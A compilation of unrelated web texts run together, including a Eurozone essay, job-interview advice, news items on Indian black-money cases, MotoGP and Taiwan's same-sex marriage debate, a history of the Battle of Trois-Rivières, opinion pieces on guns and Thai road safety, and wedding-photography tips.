As is well known, the central ambiguity of the Eurozone lies in the fact that it is a monetary union that is not also a fiscal union. This in turn creates questions about whether national debts in the Eurozone are contracted in a foreign currency or in a local currency, and simultaneously about the extent to which single countries in the Eurozone can be said to enjoy full monetary sovereignty. These facts have led many market observers to make analogies between the Eurozone and the classical gold standard and to countries that failed to maintain their currency boards (such as Argentina in 1998-2001). Yet even these analogies are in my view, very likely misplaced. The reason is that unlike the classical gold standard, the Eurozone has shared control of a fiat money producing central bank that is capable and substantially (but not unconditionally) willing to moderate the rises in credit risk premia that arise from downturns in the business cycle. The common payment system Target 2 provides unlimited absorption of very large drops in investor appetite for assets from troubled countries. The classical gold standard enjoyed neither of these features nor did hapless countries like Argentina.
At the heart of this difference is precisely the fact that the EU’s creation and evolution is a consequence of geopolitical imperatives. The evolution of the EU and the Eurozone reflects first a desire to escape a history of intra-European wars, then the desire to anchor a reunified Germany to its Western neighbors in 1990 and more recently the desire to create an economic and financial unit that gave Europe a semblance of geopolitical and geoeconomic parity with China and the US. These factors are very different from the highly asymmetric motivations that led Argentina for example to import credibility by its peg to the US dollar, even while there was correspondingly relatively little concern on the US side when Argentina finally exited it calamitously.
But what complicates matters further is these geopolitical desires at a pan-Eurozone level have to negotiated against a backdrop of national preferences where there are political constraints on pooling sovereignty (or at least at the pace of such pooling); protests against perceived transfers (whether overtly fiscal or resulting from central bank action) among some countries; and protests against the fact that such transfers are conditional (and consequently seen as a constraint on the exercise of democratic choice) in still others. Political ambiguity is compounded by legal ambiguity—the language of “irrevocable conversion parities” to the Euro is not compatible with Article 50, which explicitly recognizes a right to leave the EU (a right the UK has chosen to exercise). Periodic political messaging around the prospect that Greece might leave the Eurozone, but still stay in the EU clouds matters further.
Recent history suggests an interplay between domestic political constraints and a revealed preference of European leaders to keep the Eurozone alive for geopolitical and geoconomic reasons by agreeing in moments of crisis to hitherto unthinkable expedients such as the creation of fiscal backstop (EFSF and then the ESM,) and the creation of a conditional monetary financing tool (OMT). Against this backdrop, whatever their historic misjudgments it is probably harder for the ratings agencies to get the Eurozone “right” at all times precisely because the fundamental categories of sovereignty and local versus foreign currency debt are more politically fluid as a result of the unique construction (and the ongoing evolution) of the Eurozone. The dominance in the ratings markets of English speaking countries with a particular culture of political economy might well exacerbate ratings misjudgments in the case of the emerging markets. However in the case of the EU in particular, some portion of the blame ascribed to the ratings agencies must also fall on the fact that the financial and political architecture of the Eurozone is in itself a work in creation, with the maximum creativity displayed only in the moments of crisis.1. Can you tell me about yourself?
This is usually an opening question, a way to break the ice and make you feel more comfortable during the interview.
The hiring manager isn’t interested in your complete personal or employment history, it wants to get insight into your personality to help determine if you are a good fit for the position. Keep your answer short, under five minutes. If you spend too much time answering the question you’re likely to lose the interviewer’s interest.
So, the best way to answer this question is to only discuss about a couple of specific experiences or accomplishments that directly correlate with the job and how that prior experience makes you a great candidate for this specific role.
2. What are your strengths?
This seems like one of the easiest questions you’ll be asked, but it is also one of the most important.
When answering this question it is important to share your true strengths, not those you think the interviewer wants to hear. You should make a list of 3 or 4 particularly strong skills that match the qualifications mentioned in the job posting. Then, next to each skill note an example of how you have used that trait in a professional setting.
3. What are your weaknesses?
This is not a trick question. What the hiring manager is trying to do is to figure out if you are honest (at least to a certain degree) and if your weakness will make it hard for you to do a good job or fit into the organization.
The best way to answer is to discuss a weakness that could also be viewed as a strength. Try to frame your answer around skills and abilities you have improved. You should never talk about a real weakness unless it’s something you have defeated. And you should never use overused responses, such as, “Well, my biggest weakness is that I’m one of those people who can’t quit until I make sure that my work is perfect.”
4. Why do you want to work here?
The interviewer is listening for an response that indicates you’ve done research on the company, that you know the company’s values, culture and products. This is the best time to sell your skills to the hiring manager.
Your answer should emphasize that you can deliver great results, that you’ll fit in with the team and culture of the organization, and that you’re a good fit for this position.
5. Why are you leaving your current job? or Why did you leave your previous job?
The hiring manager wants to know what made you leave your current or previous job, if you are just looking for more money or looking for a job that you hope will turn into a career.
Regardless of why you left, don’t talk negative about your past employers because you have nothing to gain from it. Instead, frame things in a way that shows that you’re eager to take on new opportunities and that this position is a better fit for you than your current or previous job.
If you were let go tell the interviewer that you understand the reasoning and the circumstances behind the decision; that you’ve recognized the areas that need to be improved and you are ready to apply everything that you learned in your previous role to a new company. And if you quit tell the interviewer that you value the experience and education you have received and feel that the time has come to expand your skills and knowledge, and to find a company with which you could grow.
6. What are your salary requirements?
Hiring managers ask this question in order to determine if you have realistic expectations or if you are flexible when it comes to salary.
If you are in the first interview you should try to avoid answering this question because it could put you in a poor position when negotiating later on. Tell the interviewer that you could give a salary range if you are seriously being considered for the position.
When the time comes to give a number (you should always speak in ranges when giving figures), state the highest number in that range that applies, based on your experience, education, and skills. And make sure the hiring manager knows that you’re flexible and that you’re open to benefits, as well.
7. What are your goals? or Where do you see yourself in five years time?
If asked this question, it’s best to speak honestly about both short-term and long-term goals. Employers want to know whether this particular job and company is part of your career path, or whether you’ll quit after a year or two.
So, the best way to answer this question is to talk about the kind of job you would like to do and what are the steps you’ll need to take to get there, relating this in some way back to the position you’re interviewing for. Show the employer you have ambition, determination, and that you hope to develop professionally and take on additional responsibilities at that particular company.New Delhi: The Supreme Court on Friday granted one week's more time to the Centre to set up SIT under its former judge M B Shah to monitor all black money cases as per its direction.
A vacation bench of justices B S Chauhan and A K Sikri granted time as the deadline fixed by the apex court for constituting the SIT expired yesterday.
The bench also directed that all documents relating to black money must be kept in safe custody of secretary-level officer of revenue department after the petitioner senior advocate Ram Jethmalani alleged that some of the "vital" documents were destroyed in a fire at Shastri Bhawan.
Solicitor General Mohan Prasaran, however, refuted Jethmalani's claim, saying all documents are kept at north block and not at Shastri Bhavan.
The apex court had on May 1 directed the Centre to handover within three days all documents and information collected by it in its probe in the cases of alleged stashing of black money in LST bank in Liechtenstein, Germany, to Jethmalani and others who raised the issue before it.
It had directed the Centre to issue notification regarding their appointment of SIT within three weeks.
It had appointed its retired judges M B Shah as the Chairman and Arijit Pasayat as the Vice Chairman of the Special Investigating Team (SIT) for providing guidance and direction in the investigation of all cases of black money in the country and abroad.
Justice Shah, who was earlier appointed as Vice Chairman by a July 4, 2011 order, will take place of former apex court judge B P Jeevan Reddy, who expressed his inability to continue as Chairman due to personal reasons.I know this isn’t the normal time of day for this sort of thing, but I don’t care! I’ve been waiting for Jonathan Young to do a cover of Try Everything ever since I first joined the fandom, and that day is FINALLY HERE!
Sure, it’s technically a collaboration with Jordan Sweeto (who’s also a great singer, don’t get me wrong). I have never featured something awesome faster than now. Literally, I opened an email in our submissions box about this less than 5 minutes ago as I’m writing this.
I know I say this for everything, but CHECK IT OUT AFTER THE BREAK!!!
~Andy Lagopus
P.S. I’ve been such a huge fan of Jonathan Young’s music for a very, very long time, so apologies if this article was me just fanboying.Monster Yamaha Tech 3 have officially confirmed that Broc Parkes will replace
Jonas Folger at this weekend's Australian MotoGP.
Folger is undergoing tests for a suspected recurrence of the Epstein Barr virus and it is feared he may be forced to miss the rest of the 2017 season.
The German rookie was replaced by Yamaha test rider Kohta Nozane at Motegi, with Parkes now getting the chance to ride the pole and podium-setting satellite M1 in front of his home fans at Phillip Island.
It will be the first time Parkes has raced a competitive grand prix bike, having raced a full MotoGP season in 2014 with PBM, scoring nine points adn a best finish of eleventh, before a one-off MotoGP return for IodaRacing at Valencia the following year.
The Australian, who has also raced in WorldSBK and twice finished title runner-up in WSS, currently competes for the Yamaha Austria Racing Team (YART) in the World Endurance championship, finishing third overall in the 2016-2017 series.
"Of course, I would like to thank the Monster Yamaha Tech3 team for giving me the amazing opportunity to race at my home grand prix in front of all of my supporters, fans and family," Parkes said.
"I am really looking forward to getting on the Yamaha YZR-M1 at Phillip Island and giving it my all!"The Battle of Trois-Rivières was fought on June 8, 1776, during the American Revolutionary War. A British army under Quebec Governor Guy Carleton defeated an attempt by units from the Continental Army under the command of Brigadier General William Thompson to stop a British advance up the Saint Lawrence River valley. The battle occurred as a part of the American colonists' invasion of Quebec, which had begun in September 1775 with the goal of removing the province from British rule.
The crossing of the Saint Lawrence by the American troops was observed by Quebec militia, who alerted British troops at Trois-Rivières. A local farmer led the Americans into a swamp, enabling the British to land additional forces in the village, and to establish positions behind the American army. After a brief exchange between an established British line and American troops emerging from the swamp, the Americans broke into a somewhat disorganized retreat. As some avenues of retreat were cut off, the British took a sizable number of prisoners, including General Thompson and much of his staff.
This was the last battle of the war fought on Quebec soil. Following the defeat, the remainder of the American forces, under the command of John Sullivan, retreated, first to Fort Saint-Jean, and then to Fort Ticonderoga.
Background [ edit ]
The Continental Army, which had invaded Quebec in September 1775, suffered a severe blow in the disastrous attack on Quebec City on New Year's Eve in 1775. Following that loss, Benedict Arnold and the remnants of the army besieged Quebec until May 1776.[6]
Early on May 6, three Royal Navy ships sailed into Quebec Harbour. Troops on these ships were immediately sent into the city and, not long after, General Guy Carleton formed them up and marched them out to the American siege camp.[7] General John Thomas, then in command of the American forces, had already been making arrangements to retreat, but the British arrival threw his troops into a panic. He led a disorganized retreat that eventually reached Sorel on about May 18.[8]
British forces at Trois-Rivières [ edit ]
Throughout the month of May and into early June, ships carrying troops and war supplies continued to arrive at Quebec. By June 2, Carleton had added the 9th, 20th, 29th, 53rd and 60th Regiments of Foot, along with General John Burgoyne, to his command. Also arriving in the fleet were Hessian troops from Brunswick commanded by Baron Riedesel.[9]
After the Americans' flight early in May, Carleton took no significant offensive steps but on May 22, he sent ships carrying elements of the 47th and 29th Foot to Trois-Rivières under Allan Maclean's command.[10] Brigadier General Simon Fraser led more forces to Trois-Rivières on June 2. By June 7, the forces on the ground at Trois-Rivières had grown to nearly 1,000, and 25 ships carrying additional troops and supplies were anchored in the river near the village and for several miles upriver.[11][12]
American arrangements [ edit ]
Since Thomas's retreat was instigated by the early arrival of three ships of the fleet carrying only a few hundred troops, he was unaware of the true size of the British army. In a war council at Sorel on May 21, which included representatives of the Second Continental Congress, a decision was reached to make a stand at Deschambault, between Trois-Rivières and Quebec. This decision was reached based on sketchy reports and rumors of the British troop strengths and was dominated by the non-military Congressional representatives. Thomas contracted smallpox on May 21, from which he died on June 2.[13] He was briefly replaced by Brigadier General William Thompson, who relinquished command to General John Sullivan when he arrived on June 5 at Sorel with further reinforcements from Fort Ticonderoga.[14]
On June 5, just hours before Sullivan's arrival, Thompson sent 600 troops under the command of Colonel Arthur St. Clair toward Trois-Rivières with the goal of surprising and beating back the small British force believed to be there. Sullivan, on his arrival at Sorel, immediately dispatched Thompson with an additional 1,600 men to follow. These forces caught up with St. Clair at Nicolet, where defenses against troop movements on the river were erected the next day. On the night of June 7, Thompson, St. Clair, and about 2,000 men crossed the river, landing at Pointe du Lac, a few miles above Trois-Rivières.[15]
Battle [ edit ]
Detail of a 1781 map showing the area where this action took place.
Plaque commemorating Site of the Battle of Trois-Rivières.
Plaque memorializing the British forces in the battle in Trois-Rivières.
The American crossing had been seen by a local militia captain, who
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people, found that violent behavior is only significantly higher in the mentally ill when there is co-occurring substance abuse. A 2012 re-analysis of the NESARC data came to the same conclusion. As a 2010 study about the role of violent behavior in mental illness concluded, “Substance abuse is central to the explanatory model because it is often intertwined, in various ways, with all of these vectors of violence; accordingly, its treatment should be a component of risk management in individuals with serious mental illness.” What this means is that mental illness, substance abuse and violence may have common roots -- poverty, child abuse, environmental stress -- or even, as several recent economic and epidemiological studies have concluded, the income inequality in a given state or country, which may explain as much as 74 percent of the difference in murder rates between U.S. states. What this does not mean is that mental illness, ipso facto, causes violence.
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In fact, the National Crime Victimization Survey shows that people with severe mental illness are nearly 10 times more likely to be violently victimized than the general population, and more than 16 times more likely to be raped. For those who argue that the ostensible purpose of firearm ownership is the right of self-defense, it's not particularly consistent to propose to deny that right to an intensely vulnerable population.
But this has nothing to do with self-defense. Firearms are, after all, an industry. An industry that, last fall, asked the Supreme Court to overturn a federal law banning teenagers from purchasing handguns in order to expand its market base. An industry that willingly spreads fear among the American populace in order to drive sales. Just look at Wayne LaPierre’s eschatological speech at the 2014 Conservative Political Action Conference last month:
We know, in the world that surrounds us, there are terrorists and home invaders and drug cartels and car-jackers and knock-out gamers and rapers, haters, campus killers, airport killers, shopping mall killers, road-rage killers, and killers who scheme to destroy our country with massive storms of violence against our power grids, or vicious waves of chemicals or disease that could collapse the society that sustains us all.
Though it may seem implausible that LaPierre left anything off from his list of reasons to be scared, there is one curious elision-- alcohol. A Bureau of Justice Statistics survey found that in 64.4 percent of homicides, the perpetrator was under the influence of alcohol. A 2011 study found that 57 percent of homicides in the United States could be attributed to alcohol. Going by the FBI's estimate of 14,827 homicides in 2012, that's 8,451 people per year. A 2006 study found that alcohol-related homicides cost the United States just over $11 billion per year. By comparison, the same study found that DUI-related deaths cost the U.S. slightly under $18 billion annually.
So why don't we approach handling guns while intoxicated the same way we treat drunk driving? Where are the massive public health campaigns informing our citizenry about the dangers of mixing firearms with drinking? Why don't police pursue those who are intoxicated and possibly armed with the same ferocity as impaired drivers? And why have Arizona, Georgia, Tennessee and Virginia recently passed laws explicitly allowing patrons to carry loaded guns in bars?
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Too often in American politics, corporate interests such as the gun and alcohol industries are able to displace their costs onto people unrepresented by lobbyists and super PACs -- people like the mentally ill. If we continue to scapegoat them with the convenient myth of the “psycho killer,” we are precluded from recognizing which factors do contribute to homicides in the United States. Until we recognize and treat both substance abuse and violence as serious issues of public health, we, as a society, will continue to suffer their consequences.
We don't yet know what role, if any, alcohol or drugs played in Rodger's massacre. But we do know that, no matter what, the media will likely continue focusing on mental illness as the key cause (as if there aren't huge numbers of mentally ill people who do not engage in mass shootings). And the NRA will be really glad they did.ANOTHER week in Thailand, and with it another spell of fatal traffic accidents: Three Chinese tourists died after a bus plunged down a hill in Phuket on March 25, and seven migrant workers from Burma (Myanmar) were killed the day before when the truck carrying them was hit by a train in Chiang Mai. These were the headline-making accidents, on average around 80 people died each day on Thailand’s roads last year. Road tragedies are something we expect to hear about in Thailand on a regular basis, shocking stories made slightly less shocking due to their certain frequency.
Thailand is ranked second in the world in terms of traffic fatalities, with 44 deaths per 100,000 people (5.1 percent of Thailand’s overall deaths), according to statistics from the World Health Organization and The University of Michigan Transportation Research Institute in the United States.
Perhaps an indicator of just how dangerous Thailand’s roads are is the fact three visitors to the country, who were all attempting to cycle around the world, and were on the final leg of their journeys, were killed after being hit by vehicles in Thailand. Chilean national Juan Francisco Guillermo was killed when he was hit by a truck in north-east Thailand in February this year, and British couple Peter Root and Mary Thompson, were killed when they were hit by a truck in Chachoengsao Province, east of Bangkok, almost exactly one year before. The three cyclists had covered most of the globe before their endeavors were cut short on Thailand’s brutal roads. In the latter case the driver, Worapong Sangkhawat, told police he had been bending down looking for a hat when he hit the pair. He was given a suspended two-year prison sentence and fined around $30.
In most parts of the world traffic deaths and injuries are increasing, according to the Bloomberg Global Road Safety Program, and Thailand is no exception. In 2009 WHO reports state that death per 100,000 people was 19.6, and then in 2010, a year before the United Nations with the Thai government introduced its ‘Decade of Action Plan’ promoting and initiating road safety, that number shot up to 38.1. It’s now 44. It’s likely that traffic fatalities didn’t double within the space of a year; the sudden spike may relate to when, and how, the statistics were compiled. It should also be noted that statistics taken inside Thailand only includes victims who died at the scene, while WHO statistics include persons that died within 30 days of the accident.
There are significantly more vehicles in Thailand now than there were in the last decade, which could be a small factor relating to the sudden increase in road deaths. But that doesn’t answer why Thailand is particularly dangerous to drive in, and why, in spite of various police crackdowns and government road safety campaigns, is lack of road safety in Thailand so recalcitrant?
Why aren’t the crackdowns working?
In all the above cases alcohol was not reported to be involved, although it often is. It’s said drunk-driving is to blame for around 26% of road deaths in Thailand, according to the World Health Organization (WHO). In an interview with Chiang Mai CityNews, rescue services told the reporter that alcohol was involved in as much as 80% of road accidents.
Thailand has never enforced its drink driving laws to any notable effect. While for the last few years police have somewhat cracked down on driving under the influence, setting up road blocks around many of the big cities, drinking and driving is still normalized behavior. In large cities such as Bangkok and Chiang Mai party-goers can be seen on any given night drinking, and later driving away from whatever establishment they have been in. In smaller towns too persons under the influence can be seen leaving bars and driving away on any given night.
It’s also taken widely accepted in Thailand that the law applies more to some than it does to others. A stand-out case in this respect is Vorayuth Yoovidhaya, the Red Bull heir, who was charged with drink driving in 2013 when his Ferrari mowed down and killed a policeman in Bangkok. He was never jailed for the offense and its unknown how the trial has progressed. While this is an unusual case, it is widely accepted in Thailand that people with enough wealth to have connections, will be granted some kind of leniency if they are ever pulled over by the police. Harsher drink-driving laws, implemented fairly, would certainly help reduce the number of road accidents in Thailand.
Campaigns have been set up to lessen the amount of drink-driving, and posters showing the results of horrific crashes with the ‘don’t drink and drive’ slogan can be seen throughout the country’s streets, but at the moment they don’t seem to be having the same kind of effect that similar, but more shocking campaigns had in western countries in the ’80s. Thailand is a long way from demonizing drink-driving. Also, of considerable note, pertaining mostly to the provinces outside of Bangkok, is that Thailand’s public transport system in the wee hours is virtually non-existent.
Ostensibly in an effort to cut down on the amount of road carnage in Thailand the police have for many years been an almost omnipresent feature in the lives of Thais in the form of daytime roadblocks, previously only pulling motorcyclists over, and fining them (sometimes an on-the-spot-backhander), for not wearing a crash helmet (only 43% of motorcyclists regularly wear helmets), but lately police have also been checking to see if riders have licenses, or even fining them for illegal modifications on their bikes.
There is some controversy surrounding these roadblocks, relating to the on-the-spot fine, but also to their effectiveness in tackling the damage done by road accidents. One point is that any kind of helmet can be worn, and often they are nothing more than a hard hat that you might see on a construction site. Unfortunately a crash helmet that met with standards in most Western countries would be unaffordable to most Thais even if more stringent standards applied to Thailand. Thailand, in the footsteps of Vietnam, could take advantage of the Asia Injury Prevention (AIP) Foundation, in developing low-cost helmets.
It’s widely reported that head trauma of motorcycle riders is the main cause of death, while the WHO repots 74% of fatalities on the road are motorcycle riders. But a question not often raised is how effective are most of the helmets used in Thailand, and also how many perhaps unavoidable deaths involve a motorcyclist being hit at high speeds by a reckless car driver? If police initiatives have focused mainly on fining Thailand’s motorcyclists for not wearing a virtually useless helmet, or not having a virtually useless license, might this be one of the reasons why these crackdowns have not made any significant progress concerning the number of fatalities? Safety initiatives are perhaps not tackling the most relevant problem.
Even if a Thai national does have a license for driving, or motorcycle riding, the test is notoriously easy. Although in 2014 more questions were added to the test to try and improve safety standards, the practical part of the test involves nothing more than seeing if you can actually operate a vehicle. A possible solution, as most people would not be able to afford driving lessons, would be driving education in high school, or at least a more thorough practical, not theoretical driving test.
In the above CCTV footage of vehicle crashes that was released by the Chiang Mai municipality this year to make people aware of traffic accidents, it is evident that most of the accidents are sheer negligence on the driver’s part, perhaps a result of drink-driving, perhaps not. However, it is noteworthy that in one accident in which a motorcyclist dies after being hit head-on by a red car (local taxi), the news presenter puts the cause of death down to the rider not wearing a helmet. Negligence, not helmets, is often to blame.
But how do the police tackle negligence, or perhaps more cynically, gain from it? It’s also evident that many crashes happen when, as is often the norm in Thailand, drivers are running red lights or leaving when the light is not yet green. Cameras at all junctions in Thailand might help reduce the amount of dangerous driving. The release of this footage, however disturbing, has probably been helpful. For many years now Isuzu, the manufacturer of the top-selling trucks in Thailand, have invested in long ‘cultural’ infomercials that can be seen at cinemas prior to the film starting. Perhaps Isuzu are in a position to create something affects the way people think about reckless driving in Thailand.
More than human error
Bus crashes are common in Thailand, and frequently large numbers of people are killed. Regarded as one of the worst accident black spots in the country is the road between Mae Sot and Tak in the north of Thailand. In 2014 alone there were a streak of accidents, all of which consisted of buses leaving the road and falling down steep ravines. The worst of these crashes saw 31 retired government employees die, and a further 20 injured. The driver told police the bus’s brakes had failed on a corner. A month later a truck crashed only 500 meters away from the aforementioned tragedy, killing 14 people. Again, the driver blamed brake failure. It’s reported that in 2013 there were over 300 hundred crashes on this stretch of rugged highway that twists through the mountains on the way to the Burmese border.
The Department Land Transport (DLT) states that to register and use a vehicle as a public bus, the bus must be “stable and strong and is certified by a mechanical engineer”, according to a 2008 report into the safety of Thailand’s public buses by professor Lamduan Srisakda from Chiang Mai University’s Faculty of Engineering. The report details the reasons behind some of Thailand’s worst bus tragedies. In most cases it states that often the driver is incapable (or incompetent) of negotiating difficult roads safely, but also once the bus has crashed it does not have the superstructure adequate to protect passengers. The report says that often the roads are dangerous themselves, having not been maintained, something of a problem throughout Thailand, especially in the rainy season.
In most tourist guides it is acknowledged that tourist buses are often cheap, but that they are also often poorly maintained. One of the most hair-raising experiences for any traveler to Thailand might be taking one of the overnight buses up and down country, whose drivers often break the speed limits at almost every section of the journey. Minivan drivers are also notorious for driving at very high speeds, and as this article shows, accidents and fatalities occur often.
As we approach the ‘Seven days of death’, the name given to Thailand’s New Year holiday period in which the country sees the highest frequency of road accidents and traffic fatalities, we might bear a few things in mind:
* The police initiatives to make Thailand’s roads safer have not worked yet, and will likely not work if they concentrate only on fining motorcyclists during the daytime for not wearing helmets. If road blocks are to be enforced, apropos road safety, then alcohol consumption and reckless driving should be the main reason why people are being stopped and charged. The police should invest in safe driving campaigns, and also ‘no double standards’ campaigns.
* All public buses and minivans should be maintained properly and the transport office should clamp down on any companies using vehicles not fit for the road.
* The government should attempt to introduce safer helmets to Thailand at a reasonable cost.
* The Thai driving test should include some amount of practical driving lessons, or driving education should be introduced to Thai schools.
* Public transport running at night should be available throughout the country.By UCAN
By Francis Kuo
The Catholic bishops’ conference in Taiwan has issued a statement stating the church’s stance against a bill that would allow same-sex marriage and asked churchgoers on the island to pray and fast for the cause.
“The amendments to the civil law will overturn the traditional monogamous marriage system, resulting in changes in the appellation of parents and grandparents, family ethics, moral values. Its impact on family morality and social order is huge,” the bishops said.
“The bill has not been thoroughly discussed in society. There are shortcomings in the amendment procedure while the consequences have not been carefully assessed. Pushing it hastily might lead to more complicated social problems,” they added.
Taiwan has long been on the forefront of LGBT equality rights in Asia with some 80,000 people attending the gay pride event in October. But not all sections of society are happy.
About 20,000 Christians protested in front of the legislative Yuan on Nov. 17 as the same-sex marriage bill entered its second reading. They were angry that the bill was tabled in the Yuan without forewarning.
They were also irked at President Tsai Ing-wen who reportedly told some lawmakers that “she never heard of any opposition against same-sex marriage from the church.”
The protesters, organized by “Taiwan Family,” an amalgamation of different pressure groups, demanded 30 public hearings and a referendum.
Lawmakers were forced to suspend the second reading of the bill but they only agreed to two public hearings on Nov. 24 and Dec. 1 before the Judicial and Legal Committee restarts the procedure, noting that there have been a number of public hearings on the same topic in the past years.
All eight bishops in seven dioceses in Taiwan signed the statement on Nov. 22. They declared they have the duty to safeguard morality and uphold church teachings.
The bishops also appealed to all parishes to encourage Catholics to hold the Adoration of the Eucharist and to fast and pray for the marriage system, state policy and well-being of people.
On Nov. 22, a group of young Catholics initiated a survey, asking fellow youth to share their views on same-sex marriage. However, the organizer refused to disclose the results, noting that it is for the bishops’ internal reference.
Taiwanese-Canadian commentator Gloria Hu dismissed charges of “immorality” in an article for Thinking Taiwan claiming that “ultraconservative groups [like the International House of Prayer] seek to foist their morality on others, on issues ranging from family structure to the content of school curricula and access to contraceptive measures.”
The Catechism of the Catholic Church says “homosexual acts are intrinsically disordered” but adds, however, that gay persons “must be accepted with respect, compassion and sensitivity.”
Marriage between same-sex couples is not legally recognized in Taiwan and LGBT activists say legal recognition of same-sex couples is necessary to enjoy rights such as property inheritance rights and hospital visitation rights afforded to others.Spy agencies once classified Des Ball as a "person of interest", but he was far, far more interested in understanding their shadowy secrets.
Pine Gap intelligence base in central Australia held a special fascination for him, and more than any other academic, Ball helped reveal to the public just what secrets those remote dishes and antennae plucked from the skies.
Professor Desmond Ball, in his office at the Australian National University in 2013. Credit:Rohan Thomson
He was a patriot and a democrat, believing Australians had every right to know what the alliance with the US had brought to what he called "a suitable piece of real estate" near Alice Springs in the title of his most famous book.
But Ball - who died on Wednesday after a long illness - also took a sweeping view of defence and security threats, and had a rare influence on government thinking for an outsider of officialdom.Gifted photographers approach making beautiful bridal portraits on the wedding day in myriad ways. Drawing on a long tradition of wedding imagery from the past, some are classical in style; some are fashion-oriented, creating images that are grandiose, theatrical and sexy; still others focus on an unobtrusive, authentic documentation of events and wait for impromptu portraits that do not require any staging.
For every approach, there is an optimal client who resonates with and appreciates the style of work that is made. Our diversity in approach is what creates connection with specific clients. Regardless of what approach you take when making bridal portraits on the wedding day, there are several simple ways to improve your work.
As I thought about the specific strategies I have developed over the past decade to facilitate a creative and efficient portrait process, I arrived at a list of ten. Thus, I humbly present to you 10 tips for making beautiful bridal portraits on the wedding day – portraits that have heart.
Quit Shooting and Capturing. In the wedding business, we sometimes get a bit lost in the idea of what we “make,” the pictures we “take,” and the images we “capture.” Much of the terminology in photography is rather aggressive and a bit pompous (and dare I say it, a bit too Male). We have too much ego, and sometimes it hinders the creation of truly great images. Instead of directing your energy to “taking” and “capturing,” focus on Observing and Receiving. Every person interacts with you and the camera differently. Everyone has a unique preference in how they are seen and viewed. If you are open to what the subject will “give” you, the results will generally be much more honest and interesting than those from contrived poses. Every image you make reflects your relationship with the person being photographed. Care about who your subjects are. Care about all of the intricate details that make that person beautiful and unique. Look for the moments where the person is more “open” – moments that truly feel like them. On many occasions, it is the in-between times where you find what you are you looking for. Don’t give up if she is self-conscious or awkward. Move through the experience with the subject as a companion. Eventually you will find a genuine laugh or a second where she lets her guard down.
Location and Light. Find great light. In my opinion, light is the most important element for a portrait. Location is secondary. Wonderful light (rim light, Rembrandt light, window light, butterfly light, backlight, delicious light!) can be found in the most unusual places. Do not discount any light source available. Sometimes the most unassuming lights make amazing images. Be bold, move your subject around in the light. The smallest adjustments in positioning can alter the look of the light in a big way. Also be sure to look at the bride from every angle (literally walk all the way around them) to ensure that you have chosen the best version of the light for the images. In the event that you have no viable light, consider using video light. Video light can be a lifesaver if you are making an image indoors or outside at night when all other light sources are too dim or unflattering. Do not choose a location just because it is there or because someone has requested it. A dingy little bridge might be sitting in the middle of the golf course. Ignore that heinous little bridge! Forget the ugly gazebo. You are better than that! Interesting imagery is created when the artist thinks beyond the obvious. Be creative! If you found wonderful light, the next step is to be intentional about what you will put in the frame with the subject. I try to always shoot with the words “clean,” “colorful,” and “dramatic” in mind. Do not include the window AC unit in your portrait (unless you are aiming at humor)! Do not have a tree growing out of the bride’s head! Do not shoot a portrait on the beach if the light is horrid! Choose a different location with GOOD light.
Make It Work. In this same vein, there will be times when you will not have golden evening light for portraits. Your bride will not be dancing amongst deer, glowing angelically with rim light in a forest. She will be expectantly waiting for you to make her look like a goddess whilst standing amongst piles of bridesmaids’ underpants and hairspray in the ugliest Holiday Inn you have ever seen on a rainy day. However, despite all of this, as Tim Gunn would say, you must “Make it work!” I have made lovely portraits in bathrooms, elevators, and messy hotel rooms. Become a master of the unassuming. You create the frame. Seek out simplicity, shoot with a very shallow depth of field and compose carefully, including only elements that compliment. In these situations, instead of shooting full-length images, it is advantageous to focus instead on closely cropped portraits.
Give Onlookers “The Boot.” Some of the most difficult people to work with during a wedding day are overly “helpful” wedding party, coordinators, and guests. If you fail to excuse onlookers from the room while making portraits, you run the risk of causing the bride to feel more self-conscious during the image-making process, not to mention the inevitable (and obnoxious) advice from all who are watching. By removing extraneous people from the space, you craft a more natural and relaxed environment for the bride.
Be Detail-Oriented. A great image can be ruined by overlooking details. Keep a watchful eye on stray hair, lipstick lines, clothing, or jewelry that is askew. Also pay attention to the subject’s body positioning, posture, and hands. While framing, be aware of awkward cropping. Generally speaking, cropping at the ankle or wrist does not have a flattering effect.
Contrary to Popular Belief, the World Does Not Revolve Around You. Do not be the jerk who makes the bride late to her own ceremony. Wear a watch, start a timer, or have your assistant keep track of time. Don’t succumb to feeling nervous or rushed, but be aware of your client’s valuable time. Respect their schedule and do not cause them to run behind.
No Negativity! Many people become self-conscious in front of the camera. Impress upon your subject that she cannot ever do anything “wrong” during the shoot. Do not EVER modify behavior with negative direction. Instead of saying “Please don’t hold your hand in a horrid claw fist,” try something like, “Your hands look beautiful when you clasp them gently in front of you.” Negative direction amplifies awkwardness. Focus on the positive. Tell her how stunning she looks. If she does something graceful, compliment her! Endow her with confidence and calm.
Be Confident. Taking time for the creative process with your subject (who will be waiting and watching) can be intimidating. Take heart, though! Even if you have no idea what you are doing, the client assumes otherwise. That is why they hired you! They have confidence in your ability to capture the beauty and nuance of their wedding day. Do not be afraid to take the time to truly look at everything around you and make the wisest choices for light, location and angle (without holding her hostage until her next birthday, of course). Act confident- even when you feel like a doofus inside. Eventually, that nervous feeling disappears and the practice you invested in making images in different situations will pay dividends.
Find Her Best Angles. If you treat the bride like she is a professional model, the results will be comical at best. Most subjects do not know their strongest angles for the camera. You must find them. Observe her features from all positions and find what flatters her most. Literally walk all the way around her, looking for her most graceful elements. Try moving to a position that is slightly higher or lower than her. Move farther away and closer in. Search for what looks most beautiful for her build and facial features.
Be Prepared and Think Outside the Box. There will be times when you must rely on “tried and true.” Sometimes the bride is running an hour behind schedule and you have 2 minutes to make photographs of her before she races to the church. This is not the time to reinvent the wheel. However, with a little foresight and planning, you can make great images even in a small amount of time. Scout your location and have viable ideas in mind ahead of time. In relaxed situations, don’t be afraid to experiment! Avoid formulas that result in clichéd imagery. Be brave!
About Connie Miller
People frequently ask me why I chose the name Studio Atticus for my business. The truth is, the impetus for the name originated in 1990 when my father died suddenly. I was ten years old. There was no time of sickness, no terminal diagnosis, no period to prepare for the loss. He just disappeared abruptly one day, and I never saw him again. I wanted more than anything to hold on to a part of my father. I wanted to find a way to honor him with my life. Although he had been a geologist by trade, he was a photographer at heart. A great deal of his free time was spent documenting landscapes, trains, and our family with his Minolta SRT 101.
At fourteen, I found his old camera and began learning how to use it. My epiphany, however, came later. I enrolled in a photo 101 class my sophomore year of college, and I knew without a doubt that I was a photographer. It was the first time I had ever been sure of anything in my life. Destiny and Fate are daunting words. What exactly makes you who you are? How much of who you become depends on what happens to you when you are small? Many people have a career, but their job is distinctly separate from their life and persona. I have no differentiation. Photography is my life. “Atticus” is an English name. It means, “In the likeness of the father.”Posted by Jared in Design, Inspiration on July 30th, 2010 with No Comments;
